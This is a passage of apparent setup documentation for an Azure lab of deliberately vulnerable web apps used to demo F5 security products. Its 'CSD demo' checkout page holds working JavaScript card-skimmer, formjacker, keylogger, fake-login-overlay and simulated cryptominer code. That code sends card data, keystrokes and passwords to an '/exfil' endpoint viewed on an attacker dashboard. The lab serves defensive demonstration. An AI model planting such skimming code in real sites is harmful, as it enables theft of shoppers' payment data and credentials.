proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
server {
listen 8888;
server_name _;
location /health {
access_log off;
return 200 '{"status":"healthy","component":"crapi"}';
add_header Content-Type application/json;
}
location / {
proxy_pass http://127.0.0.1:18888;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
- path: /var/www/html/index.html
content: |
<!DOCTYPE html>
<html>
<head><title>Origin Server</title></head>
<body>
<h1>Origin Server</h1>
<p>Vulnerable web application origin server for F5 XC demo environments.</p>
<ul>
<li><a href="/juice-shop/">Juice Shop</a> - OWASP Top 10 (XSS, SQLi, CSRF)</li>
<li><a href="/dvwa/">DVWA</a> - WAF testing (adjustable difficulty)</li>
<li><a href="/vampi/">VAmPI</a> - REST API security (OWASP API Top 10)</li>
<li><a href="/httpbin/">httpbin</a> - HTTP request/response testing</li>
<li><a href="/whoami/">whoami</a> - Request diagnostics (headers, IP, hostname)</li>
<li><a href="/csd-demo/">CSD Demo</a> - Client-Side Defense testing (skimming, formjacking)</li>
<li><a href="/dvga/">DVGA</a> - GraphQL security (introspection, batching, injection)</li>
<li><a href="/restaurant/">RESTaurant</a> - REST API security (OWASP API Top 10 2023)</li>
<li><a href="javascript:void(0)" onclick="window.open('http://'+location.hostname+':8888','_blank')">crAPI</a> - Microservices API security (BOLA, BFLA, SSRF)</li>
</ul>
<p><a href="/health">Health Check</a></p>
</body>
</html>
- path: /opt/origin-server/dvwa-fpm/Dockerfile
content: |
FROM ghcr.io/digininja/dvwa:latest AS dvwa-src
FROM php:8-fpm
RUN apt-get update && apt-get install -y --no-install-recommends nginx \
libpng-dev libjpeg62-turbo-dev libfreetype6-dev zlib1g-dev \
&& docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install mysqli pdo pdo_mysql gd \
&& rm -rf /var/lib/apt/lists/*
COPY --from=dvwa-src /var/www/html /var/www/html
RUN cp /var/www/html/config/config.inc.php.dist /var/www/html/config/config.inc.php \
&& chown -R www-data:www-data /var/www/html
COPY nginx.conf /etc/nginx/sites-available/default
RUN ln -sf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default
COPY www.conf /usr/local/etc/php-fpm.d/www.conf
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 80
CMD ["/entrypoint.sh"]
- path: /opt/origin-server/dvwa-fpm/nginx.conf
content: |
server {
listen 80;
server_name _;
root /var/www/html;
index index.php index.html;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_read_timeout 30;
fastcgi_buffer_size 32k;
fastcgi_buffers 16 32k;
}
}
- path: /opt/origin-server/dvwa-fpm/www.conf
content: |
[www]
user = www-data
group = www-data
listen = 127.0.0.1:9000
pm = dynamic
pm.max_children = 32
pm.start_servers = 8
pm.min_spare_servers = 4
pm.max_spare_servers = 16
pm.max_requests = 200
request_terminate_timeout = 30
- path: /opt/origin-server/dvwa-fpm/entrypoint.sh
permissions: "0755"
content: |
#!/bin/sh
sed -i "s/\$_DVWA\[ 'db_server' \].*/\$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';/" /var/www/html/config/config.inc.php
sed -i "s/\$_DVWA\[ 'db_database' \].*/\$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';/" /var/www/html/config/config.inc.php
sed -i "s/\$_DVWA\[ 'db_user' \].*/\$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';/" /var/www/html/config/config.inc.php
sed -i "s/\$_DVWA\[ 'db_password' \].*/\$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';/" /var/www/html/config/config.inc.php
php-fpm -D
nginx -g 'daemon off;'
- path: /opt/origin-server/vampi-gunicorn.sh
permissions: "0755"
content: |
#!/bin/sh
cd /vampi
pip install -q gunicorn 2>/dev/null
python -c "
from config import db, vuln_app
with vuln_app.app.app_context():
db.create_all()
"
exec gunicorn -b 0.0.0.0:5000 "config:vuln_app" -w 2 --timeout 30
- path: /opt/origin-server/csd-demo/Dockerfile
content: |
FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir flask gunicorn gevent
COPY app.py .
COPY templates/ templates/
EXPOSE 5001
CMD ["gunicorn", "-b", "0.0.0.0:5001", "app:app", "-w", "1", "-k", "gevent", "--timeout", "30"]
- path: /opt/origin-server/csd-demo/app.py
content: |
from datetime import datetime, timezone
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
exfiltrated_data = []
@app.route("/")
def checkout():
return render_template("checkout.html")
@app.route("/dashboard")
def dashboard():
return render_template("dashboard.html", entries=exfiltrated_data)
@app.route("/exfil", methods=["POST", "GET"])
def exfil():
entry = {
"timestamp": datetime.now(timezone.utc).isoformat(),
"source_ip": request.remote_addr,
"user_agent": request.headers.get("User-Agent", ""),
"attack_type": request.args.get("type", "unknown"),
}
if request.is_json:
entry["payload"] = request.get_json(silent=True)
elif request.args.get("d"):
entry["payload"] = request.args.get("d")
else:
entry["payload"] = request.get_data(as_text=True)
exfiltrated_data.append(entry)
return jsonify({"status": "received"})
@app.route("/exfil/log")
def exfil_log():
return jsonify(exfiltrated_data)
@app.route("/exfil/clear", methods=["POST"])
def exfil_clear():
exfiltrated_data.clear()
return jsonify({"status": "cleared"})
@app.route("/health")
def health():
return jsonify(
{
"status": "healthy",
"component": "csd-demo",
"attacks": [
"skimmer",
"formjacker",
"keylogger",
"cryptominer",
"dom-hijack",
],
}
)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5001, debug=False)
- path: /opt/origin-server/csd-demo/templates/checkout.html
content: |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ShopDemo - Checkout</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
.attack-panel { position: fixed; top: 10px; right: 10px; z-index: 9999; width: 320px; font-size: 0.85rem; }
.attack-panel .card { border: 2px solid #dc3545; }
.attack-toggle { cursor: pointer; }
.attack-active { background-color: #f8d7da; }
.exfil-indicator { display: none; position: fixed; bottom: 20px; right: 20px; z-index: 9999;
background: #dc3545; color: white; padding: 8px 16px; border-radius: 4px; font-size: 0.8rem; }
.exfil-indicator.show { display: block; animation: pulse 1s infinite; }
@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }
.product-img { width: 80px; height: 80px; background: #e9ecef; border-radius: 8px;
display: flex; align-items: center; justify-content: center; font-size: 2rem; }
</style>
</head>
<body class="bg-light">
<!-- Attack Control Panel (visible to demo operator) -->
<div class="attack-panel" id="attackPanel">
<div class="card shadow">
<div class="card-header bg-danger text-white d-flex justify-content-between align-items-center">
<strong>Attack Simulator</strong>
<button class="btn btn-sm btn-outline-light" onclick="togglePanel()">_</button>
</div>
<div class="card-body" id="panelBody">
<p class="text-muted mb-2">Toggle attacks to demonstrate what F5 CSD detects:</p>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleSkimmer">
<label class="form-check-label" for="toggleSkimmer">
<strong>Card Skimmer</strong><br>
<small class="text-muted">Steals CC data on form submit (Magecart)</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleFormjacker">
<label class="form-check-label" for="toggleFormjacker">
<strong>Formjacker</strong><br>
<small class="text-muted">Hijacks form action to attacker endpoint</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleKeylogger">
<label class="form-check-label" for="toggleKeylogger">
<strong>Keylogger</strong><br>
<small class="text-muted">Captures keystrokes in real time</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleCryptominer">
<label class="form-check-label" for="toggleCryptominer">
<strong>Cryptominer</strong><br>
<small class="text-muted">Simulates CPU-intensive mining script</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleDomHijack">
<label class="form-check-label" for="toggleDomHijack">
<strong>DOM Hijack</strong><br>
<small class="text-muted">Injects fake overlay form to steal PII</small>
</label>
</div>
<hr>
<div class="d-flex gap-2">
<a href="/dashboard" class="btn btn-sm btn-outline-danger" target="_blank">Attacker Dashboard</a>
<button class="btn btn-sm btn-outline-secondary" onclick="clearLog()">Clear Log</button>
</div>
<div id="exfilCount" class="mt-2 text-muted small"></div>
</div>
</div>
</div>
<!-- Exfiltration Indicator -->
<div class="exfil-indicator" id="exfilIndicator">Data exfiltrated to attacker</div>
<!-- Main Checkout Page -->
<div class="container py-5" style="max-width: 960px;">
<div class="text-center mb-4">
<h2>ShopDemo Checkout</h2>
<p class="text-muted">Complete your purchase — this is a simulated e-commerce checkout for CSD testing.</p>
</div>
<!-- Order Summary -->
<div class="card mb-4">
<div class="card-body">
<h5 class="card-title">Order Summary</h5>
<div class="d-flex align-items-center mb-3">
<div class="product-img me-3">&#128187;</div>
<div class="flex-grow-1">
<strong>Premium Widget Pro</strong><br>
<small class="text-muted">SKU: WDG-PRO-2024 &middot; Qty: 1</small>
</div>
<strong>$149.99</strong>
</div>
<div class="d-flex align-items-center mb-3">
<div class="product-img me-3">&#128225;</div>
<div class="flex-grow-1">
<strong>Widget Accessory Pack</strong><br>
<small class="text-muted">SKU: WDG-ACC-100 &middot; Qty: 2</small>
</div>
<strong>$39.98</strong>
</div>
<hr>
<div class="d-flex justify-content-between">
<span>Subtotal</span><span>$189.97</span>
</div>
<div class="d-flex justify-content-between">
<span>Shipping</span><span>$9.99</span>
</div>
<div class="d-flex justify-content-between">
<span>Tax</span><span>$16.15</span>
</div>
<hr>
<div class="d-flex justify-content-between">
<strong>Total</strong><strong>$216.11</strong>
</div>
</div>
</div>
<!-- Checkout Form -->
<form id="checkoutForm" action="/checkout-complete" method="POST">
<div class="card mb-4">
<div class="card-body">
<h5 class="card-title">Billing Information</h5>
<div class="row g-3">
<div class="col-md-6">
<label for="firstName" class="form-label">First name</label>
<input type="text" class="form-control" id="firstName" name="firstName" placeholder="John" required>
</div>
<div class="col-md-6">
<label for="lastName" class="form-label">Last name</label>
<input type="text" class="form-control" id="lastName" name="lastName" placeholder="Smith" required>
</div>
<div class="col-12">
<label for="email" class="form-label">Email</label>
<input type="email" class="form-control" id="email" name="email" placeholder="john.smith@example.com" required>
</div>
<div class="col-12">
<label for="phone" class="form-label">Phone</label>
<input type="tel" class="form-control" id="phone" name="phone" placeholder="(555) 123-4567">
</div>
<div class="col-12">
<label for="address" class="form-label">Address</label>
<input type="text" class="form-control" id="address" name="address" placeholder="1234 Main St" required>
</div>
<div class="col-md-5">
<label for="city" class="form-label">City</label>
<input type="text" class="form-control" id="city" name="city" placeholder="Seattle" required>
</div>
<div class="col-md-4">
<label for="state" class="form-label">State</label>
<input type="text" class="form-control" id="state" name="state" placeholder="WA" required>
</div>
<div class="col-md-3">
<label for="zip" class="form-label">ZIP</label>
<input type="text" class="form-control" id="zip" name="zip" placeholder="98101" required>
</div>
<div class="col-12">
<label for="ssn" class="form-label">SSN <small class="text-muted">(for financing — optional)</small></label>
<input type="text" class="form-control" id="ssn" name="ssn" placeholder="XXX-XX-XXXX">
</div>
</div>
</div>
</div>
<div class="card mb-4">
<div class="card-body">
<h5 class="card-title">Payment Details</h5>
<div class="row g-3">
<div class="col-12">
<label for="ccName" class="form-label">Name on card</label>
<input type="text" class="form-control" id="ccName" name="ccName" placeholder="John Smith" required>
</div>
<div class="col-12">
<label for="ccNumber" class="form-label">Card number</label>
<input type="text" class="form-control" id="ccNumber" name="ccNumber" placeholder="4111 1111 1111 1111" required>
</div>
<div class="col-md-4">
<label for="ccExpiry" class="form-label">Expiration</label>
<input type="text" class="form-control" id="ccExpiry" name="ccExpiry" placeholder="MM/YY" required>
</div>
<div class="col-md-4">
<label for="ccCvv" class="form-label">CVV</label>
<input type="text" class="form-control" id="ccCvv" name="ccCvv" placeholder="123" required>
</div>
</div>
</div>
</div>
<button class="btn btn-primary btn-lg w-100 mb-4" type="submit">Place Order — $216.11</button>
</form>
<p class="text-center text-muted small">
This is a <strong>simulated checkout page</strong> for F5 Distributed Cloud Client-Side Defense testing.
No real transactions are processed. All data stays on this server.
</p>
</div>
<!-- DOM Hijack Overlay (hidden by default) -->
<div id="domHijackOverlay" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%;
background:rgba(0,0,0,0.7); z-index:10000; justify-content:center; align-items:center;">
<div style="background:white; padding:30px; border-radius:8px; max-width:400px; width:90%;">
<h5 style="color:#dc3545;">Session Expired</h5>
<p>Please re-enter your credentials to continue:</p>
<input type="text" class="form-control mb-2" id="hijackUser" placeholder="Username">
<input type="password" class="form-control mb-2" id="hijackPass" placeholder="Password">
<input type="text" class="form-control mb-2" id="hijackCC" placeholder="Card number for verification">
<button class="btn btn-danger w-100" onclick="submitHijack()">Verify Identity</button>
</div>
</div>
<script>
const EXFIL_URL = "/exfil";
let activeAttacks = {};
let keystrokeBuffer = "";
let keystrokeTimer = null;
let miningInterval = null;
function flashExfil() {
const el = document.getElementById("exfilIndicator");
el.classList.add("show");
setTimeout(() => el.classList.remove("show"), 2000);
}
function exfiltrate(type, data) {
flashExfil();
fetch(EXFIL_URL + "?type=" + encodeURIComponent(type), {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify(data)
});
updateCount();
}
function updateCount() {
fetch("/exfil/log").then(r => r.json()).then(d => {
document.getElementById("exfilCount").textContent = d.length + " exfiltration(s) captured";
});
}
// ── Card Skimmer (Magecart-style) ──
function enableSkimmer() {
document.getElementById("checkoutForm").addEventListener("submit", skimmerHandler);
}
function disableSkimmer() {
document.getElementById("checkoutForm").removeEventListener("submit", skimmerHandler);
}
function skimmerHandler(e) {
const form = e.target;
const data = {};
new FormData(form).forEach((v, k) => { data[k] = v; });
exfiltrate("skimmer", {
description: "Magecart card skimmer — captured payment data on form submit",
card_number: data.ccNumber,
card_name: data.ccName,
card_expiry: data.ccExpiry,
card_cvv: data.ccCvv,
email: data.email,
billing_address: data.address + ", " + data.city + " " + data.state + " " + data.zip
});
}
// ── Formjacker ──
let originalAction = null;
function enableFormjacker() {
const form = document.getElementById("checkoutForm");
originalAction = form.action;
form.action = EXFIL_URL + "?type=formjacker";
form.method = "POST";
}
function disableFormjacker() {
if (originalAction) {
document.getElementById("checkoutForm").action = originalAction;
}
}
// ── Keylogger ──
function enableKeylogger() {
document.addEventListener("keydown", keylogHandler);
}
function disableKeylogger() {
document.removeEventListener("keydown", keylogHandler);
if (keystrokeTimer) clearTimeout(keystrokeTimer);
keystrokeBuffer = "";
}
function keylogHandler(e) {
const target = e.target;
const fieldId = target.id || target.name || "unknown";
keystrokeBuffer += e.key;
if (keystrokeTimer) clearTimeout(keystrokeTimer);
keystrokeTimer = setTimeout(() => {
exfiltrate("keylogger", {
description: "JavaScript keylogger — real-time keystroke capture",
field: fieldId,
keystrokes: keystrokeBuffer
});
keystrokeBuffer = "";
}, 1500);
}
// ── Cryptominer (simulated) ──
function enableCryptominer() {
exfiltrate("cryptominer", {
description: "Cryptominer script loaded — simulating CPU-intensive mining",
pool: "stratum+tcp://evil-pool.example.com:3333",
wallet: "44AFFq5kSiGBoZ4NMDwYtN18NkMdYsKPmYHg...",
status: "mining_started"
});
miningInterval = setInterval(() => {
let x = 0;
for (let i = 0; i < 5000000; i++) { x += Math.sqrt(i) * Math.random(); }
}, 100);
}
function disableCryptominer() {
if (miningInterval) { clearInterval(miningInterval); miningInterval = null; }
}
// ── DOM Hijack ──
function enableDomHijack() {
setTimeout(() => {
document.getElementById("domHijackOverlay").style.display = "flex";
exfiltrate("dom-hijack", {
description: "DOM manipulation — injected fake credential overlay",
technique: "overlay_phishing",
status: "overlay_displayed"
});
}, 3000);
}
function disableDomHijack() {
document.getElementById("domHijackOverlay").style.display = "none";
}
function submitHijack() {
exfiltrate("dom-hijack", {
description: "DOM hijack — victim submitted credentials to fake overlay",
username: document.getElementById("hijackUser").value,
password: document.getElementById("hijackPass").value,
card: document.getElementById("hijackCC").value
});
document.getElementById("domHijackOverlay").style.display = "none";
}
// ── Toggle handlers ──
const attacks = {
toggleSkimmer: { enable: enableSkimmer, disable: disableSkimmer },
toggleFormjacker: { enable: enableFormjacker, disable: disableFormjacker },
toggleKeylogger: { enable: enableKeylogger, disable: disableKeylogger },
toggleCryptominer: { enable: enableCryptominer, disable: disableCryptominer },
toggleDomHijack: { enable: enableDomHijack, disable: disableDomHijack }
};
Object.keys(attacks).forEach(id => {
document.getElementById(id).addEventListener("change", function() {
if (this.checked) { attacks[id].enable(); } else { attacks[id].disable(); }
});
});
function togglePanel() {
const body = document.getElementById("panelBody");
body.style.display = body.style.display === "none" ? "block" : "none";
}
function clearLog() {
fetch("/exfil/clear", { method: "POST" }).then(() => updateCount());
}
updateCount();
</script>
</body>
</html>
- path: /opt/origin-server/csd-demo/templates/dashboard.html
content: |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Attacker Dashboard - Exfiltrated Data</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body { background: #1a1a2e; color: #e0e0e0; font-family: monospace; }
.card { background: #16213e; border-color: #0f3460; }
.card-header { background: #0f3460; }
.badge-skimmer { background: #dc3545; }
.badge-formjacker { background: #fd7e14; }
.badge-keylogger { background: #ffc107; color: #000; }
.badge-cryptominer { background: #198754; }
.badge-dom-hijack { background: #6f42c1; }
pre { background: #0d1117; color: #58a6ff; padding: 10px; border-radius: 4px; font-size: 0.8rem; max-height: 200px; overflow-y: auto; }
.header-bar { background: #dc3545; padding: 15px 0; margin-bottom: 20px; }
</style>
</head>
<body>
<div class="header-bar text-center">
<h4 class="text-white mb-0">Attacker C&amp;C Dashboard</h4>
<small class="text-white-50">Exfiltrated data from CSD demo checkout page</small>
</div>
<div class="container-fluid px-4">
<div class="d-flex justify-content-between align-items-center mb-3">
<h5>Captured Data ({{ entries|length }} entries)</h5>
<div>
<button class="btn btn-sm btn-outline-light" onclick="location.reload()">Refresh</button>
<button class="btn btn-sm btn-outline-danger" onclick="clearAndReload()">Clear All</button>
</div>
</div>
{% if entries %}
{% for entry in entries|reverse %}
<div class="card mb-3">
<div class="card-header d-flex justify-content-between align-items-center">
<span>
<span class="badge badge-{{ entry.attack_type }}">{{ entry.attack_type }}</span>
{{ entry.timestamp }}
</span>
<small>{{ entry.source_ip }}</small>
</div>
<div class="card-body">
<pre>{{ entry.payload | tojson(indent=2) if entry.payload is mapping else entry.payload }}</pre>
</div>
</div>
{% endfor %}
{% else %}
<div class="text-center py-5">
<h5 class="text-muted">No data captured yet</h5>
<p class="text-muted">Enable attacks on the checkout page and interact with the form.</p>
</div>
{% endif %}
</div>
<script>
function clearAndReload() {
fetch("/exfil/clear", { method: "POST" }).then(() => location.reload());
}
setTimeout(() => location.reload(), 5000);
</script>
</body>
</html>
- path: /usr/local/lib/cloud-init-helpers.sh
permissions: "0644"
content: |
#!/bin/sh
PROGRESS_LOG="/var/log/cloud-init-progress.log"
log_phase() { _p="$1"; shift; printf '[%s] [%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$_p" "$${*:-started}" | tee -a "$PROGRESS_LOG" >&2; }
retry_cmd() { _m="$1"; _b="$2"; shift 2; _a=1; while [ "$_a" -le "$_m" ]; do if "$@"; then return 0; fi; [ "$_a" -lt "$_m" ] && { _w=$((_b*_a)); log_phase retry "$_a/$_m failed ($1) retry in $${_w}s"; sleep "$_w"; }; _a=$((_a+1)); done; log_phase retry "FAILED after $_m: $1"; return 1; }
fetch_url() { log_phase fetch "$${3:-$1}"; retry_cmd 4 5 curl -fsSL --connect-timeout 15 --max-time 300 -o "$2" "$1"; }
install_packages() { log_phase apt "installing: $*"; retry_cmd 3 10 apt-get install -y -o DPkg::Lock::Timeout=60 "$@"; }
clone_repo() { log_phase git "cloning $1 -> $2"; retry_cmd 3 10 git clone --depth "$${3:-1}" --single-branch "$1" "$2"; }
wait_for_http() { _u="$1"; _m="$2"; _d="$${3:-$1}"; log_phase health "waiting $_d (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do curl -sf --max-time 5 "$_u" >/dev/null 2>&1 && { log_phase health "$_d ready $${_e}s"; return 0; }; sleep 5; _e=$((_e+5)); done; log_phase health "TIMEOUT $_d $${_m}s"; return 1; }
wait_for_docker_health() { _c="$1"; _m="$2"; log_phase docker "waiting $_c (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do _s=$(docker inspect -f '{{.State.Health.Status}}' "$_c" 2>/dev/null||echo missing); case "$_s" in healthy) log_phase docker "$_c healthy $${_e}s"; return 0;; unhealthy) log_phase docker "$_c unhealthy"; return 1;; esac; sleep 5; _e=$((_e+5)); done; log_phase docker "TIMEOUT $_c $${_m}s"; return 1; }
runcmd:
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "init" "origin-server provisioning started"
# Enable sysstat collection (sar history)
- sed -i 's/ENABLED="false"/ENABLED="true"/' /etc/default/sysstat
- systemctl enable sysstat
- systemctl restart sysstat
# Kernel tuning
- sysctl -p /etc/sysctl.d/99-origin-server.conf || exit 1
# Docker
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "docker-install" "installing Docker Engine"
install -m 0755 -d /etc/apt/keyrings
fetch_url "https://download.docker.com/linux/ubuntu/gpg" /etc/apt/keyrings/docker.asc "Docker GPG key"
chmod a+r /etc/apt/keyrings/docker.asc
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "$VERSION_CODENAME") stable" > /etc/apt/sources.list.d/docker.list
retry_cmd 3 10 apt-get update
install_packages docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
systemctl enable docker
systemctl start docker
log_phase "docker-install" "Docker Engine installed"
- systemctl daemon-reload
- ln -sf /etc/nginx/sites-available/origin-server /etc/nginx/sites-enabled/origin-server
- rm -f /etc/nginx/sites-enabled/default
- nginx -t || exit 1
- systemctl enable nginx
# Clone RESTaurant API repo for build
- apt-get install -y git
- |
. /usr/local/lib/cloud-init-helpers.sh
clone_repo "https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git" /opt/origin-server/restaurant
# Build custom images and start all containers
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "docker-build" "building custom images"
cd /opt/origin-server && retry_cmd 3 30 docker compose build || exit 1
log_phase "docker-up" "starting 41 containers"
cd /opt/origin-server && docker compose up -d || exit 1
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "health-check" "waiting for application containers"
for ctr in crapi-postgres crapi-mongo crapi-mailhog; do
wait_for_docker_health "$ctr" 120
done
for ctr in crapi-identity crapi-community crapi-workshop crapi-web; do
wait_for_docker_health "$ctr" 180
done
wait_for_http "http://127.0.0.1:3001" 120 "juice-shop"
wait_for_http "http://127.0.0.1:5101/api/v1/users" 120 "vampi"
wait_for_http "http://127.0.0.1:8201" 120 "httpbin"
wait_for_http "http://127.0.0.1:8082" 120 "whoami"
log_phase "health-check" "all containers ready"
# DVWA database setup (create tables via HTTP setup endpoint)
- |
for i in $(seq 1 30); do
docker exec dvwa-db mysqladmin ping -u root -proot_password 2>/dev/null && break
sleep 2
done
- |
. /usr/local/lib/cloud-init-helpers.sh
TOKEN=$(curl -sf http://127.0.0.1:8101/setup.php | grep -oP "user_token.*?value='\K[a-f0-9]+" | head -1)
if [ -z "$TOKEN" ]; then log_phase "warning" "empty DVWA token — skipping database setup"; else
curl -sf -X POST http://127.0.0.1:8101/setup.php -d "create_db=Create+%2F+Reset+Database&user_token=$${TOKEN}" -c /tmp/dvwa-setup -b /tmp/dvwa-setup
fi
- systemctl restart nginx
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "complete" "origin-server provisioned"

outputs.tf exposes 25 outputs following the Demo Resource Standard — 15 standard outputs shared by all demo resources (deployer, public_ip, private_ip, ssh_command, resource_group_name, vm_name, nsg_name, vnet_name, subnet_id, component, environment, resource_group_id, vm_id, nsg_id, location) plus 10 component-specific application URLs (origin_url, health_check_url, juice_shop_url, dvwa_url, vampi_url, httpbin_url, whoami_url, dvga_url, restaurant_url, crapi_url):

# ---------------------------------------------------------
# Standard Outputs (present in every demo resource)
# ---------------------------------------------------------
output "deployer" {
description = "Resolved deployer identifier"
value = local.deployer
}
output "resource_group_name" {
description = "Name of the resource group"
value = azurerm_resource_group.main.name
}
output "resource_group_id" {
description = "Resource ID of the resource group"
value = azurerm_resource_group.main.id
}
output "location" {
description = "Azure region"
value = azurerm_resource_group.main.location
}
output "public_ip" {
description = "Public IP address of the VM"
value = azurerm_public_ip.main.ip_address
}
output "private_ip" {
description = "Private IP address of the VM"
value = azurerm_network_interface.main.private_ip_address
}
output "ssh_command" {
description = "SSH command to connect to the VM"
value = "ssh ${var.admin_username}@${azurerm_public_ip.main.ip_address}"
}
output "vm_name" {
description = "Name of the virtual machine"
value = azurerm_linux_virtual_machine.main.name
}
output "vm_id" {
description = "Resource ID of the virtual machine"
value = azurerm_linux_virtual_machine.main.id
}
output "nsg_name" {
description = "Name of the network security group"
value = azurerm_network_security_group.main.name
}
output "nsg_id" {
description = "Resource ID of the network security group"
value = azurerm_network_security_group.main.id
}
output "vnet_name" {
description = "Name of the virtual network"
value = azurerm_virtual_network.main.name
}
output "subnet_id" {
description = "Resource ID of the subnet"
value = azurerm_subnet.main.id
}
output "component" {
description = "Component name"
value = local.component
}
output "environment" {
description = "Environment label"
value = var.environment
}
# ---------------------------------------------------------
# Component-Specific Outputs
# ---------------------------------------------------------
output "origin_url" {
description = "Base HTTP URL of the origin server"
value = "http://${azurerm_public_ip.main.ip_address}"
}
output "health_check_url" {
description = "Health check endpoint"
value = "http://${azurerm_public_ip.main.ip_address}/health"
}
output "juice_shop_url" {
description = "OWASP Juice Shop URL"
value = "http://${azurerm_public_ip.main.ip_address}/juice-shop/"
}
output "dvwa_url" {
description = "DVWA URL"
value = "http://${azurerm_public_ip.main.ip_address}/dvwa/"
}
output "vampi_url" {
description = "VAmPI URL"
value = "http://${azurerm_public_ip.main.ip_address}/vampi/"
}
output "httpbin_url" {
description = "httpbin URL"
value = "http://${azurerm_public_ip.main.ip_address}/httpbin/"
}
output "whoami_url" {
description = "whoami request diagnostics URL"
value = "http://${azurerm_public_ip.main.ip_address}/whoami/"
}
output "dvga_url" {
description = "DVGA GraphQL security URL"
value = "http://${azurerm_public_ip.main.ip_address}/dvga/"
}
output "restaurant_url" {
description = "RESTaurant API security URL"
value = "http://${azurerm_public_ip.main.ip_address}/restaurant/"
}
output "crapi_url" {
description = "crAPI microservices security URL"
value = "http://${azurerm_public_ip.main.ip_address}:8888"
}

Copy terraform.tfvars.example to terraform.tfvars and fill in your values. The .gitignore excludes terraform.tfvars to prevent committing credentials:

# Copy this file to terraform.tfvars and fill in your values.
# terraform.tfvars is gitignored — never commit real credentials.
# --- Required ---
subscription_id = "00000000-0000-0000-0000-000000000000"
# --- Optional overrides (defaults shown) ---
# deployer = "" # auto-resolved from Azure AD
# location = "eastus2"
# environment = "lab"
# vm_size = "Standard_D16s_v3"
# disk_size_gb = 60
# admin_username = "azureuser"
# ssh_public_key_path = "~/.ssh/id_ed25519.pub"
# tags = {}
Terminal window
cp terraform.tfvars.example terraform.tfvars
# Edit terraform.tfvars with your Azure subscription ID and SSH key path
terraform init
terraform plan
terraform apply

Terraform outputs the public IP, SSH command, and application URLs after successful deployment.

After terraform apply completes, allow 5—10 minutes for cloud-init to finish installing Docker, pulling container images, and configuring nginx. The Docker image pulls are the bottleneck — Juice Shop alone is ~400 MiB.

Verify the health endpoint:

Terminal window
curl -s "http://$(terraform output -raw public_ip)/health" | jq .

Expected response:

{
"status": "healthy",
"component": "origin-server",
"applications": ["juice-shop", "dvwa", "vampi", "httpbin", "whoami", "csd-demo", "dvga", "restaurant", "crapi"]
}

DVWA requires a one-time database initialization. Open http://<PUBLIC_IP>/dvwa/setup.php in a browser and click Create / Reset Database. Default credentials are admin / password.

After deployment, other components use the origin server’s outputs as their inputs:

Terminal window
# CDN Simulator — pass origin-server's public IP as its upstream
cd ../cdn-simulator/terraform
origin_ip=$(cd ../../origin-server/terraform && terraform output -raw public_ip)
cat > terraform.tfvars <<EOF
subscription_id = "your-subscription-id"
origin_server = "http://${origin_ip}"
origin_host = "${origin_ip}:80"
EOF
# Traffic Generator — pass the F5 XC load balancer FQDN (not the origin IP directly)
cd ../traffic-generator/terraform
cat > terraform.tfvars <<EOF
subscription_id = "your-subscription-id"
target_fqdn = "your-xc-load-balancer.example.com"
EOF
OutputDownstream ComponentInput Variable
public_ipCDN Simulatororigin_server (with http:// prefix)
public_ipCDN Simulatororigin_host (with :80 suffix, no scheme)
public_ipF5 XC Origin PoolOrigin server address

Proceed to Applications for usage guides or Verify for smoke tests.